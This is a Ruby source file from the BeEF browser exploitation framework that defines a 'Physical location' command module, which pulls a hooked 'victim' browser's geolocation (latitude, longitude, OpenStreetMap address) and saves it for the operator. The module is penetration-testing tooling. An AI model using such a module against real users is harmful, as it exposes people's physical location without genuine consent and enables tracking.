Files
beef/modules/commands/host/physical_location/physical_location.rb
2010-12-19 04:35:13 +00:00

42 lines
850 B
Ruby

module BeEF
module Modules
module Commands
class Physical_location < BeEF::Command
def initialize
super({
'Name' => 'Physical location',
'Description' => %Q{
This module will retrieve the physical location of the victim using the geolocation API
},
'Category' => 'Host',
'Author' => ['antisnatchor'],
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_USER_NOTIFY,
'browser_name' => ALL
})
use 'beef.geolocation'
use_template!
end
def callback
content = {}
content['Geolocation Enabled'] = @datastore['geoLocEnabled']
content['Latitude'] = @datastore['latitude']
content['Longitude'] = @datastore['longitude']
content['Open Street Map Address'] = @datastore['openStreetMap']
save content
end
end
end
end
end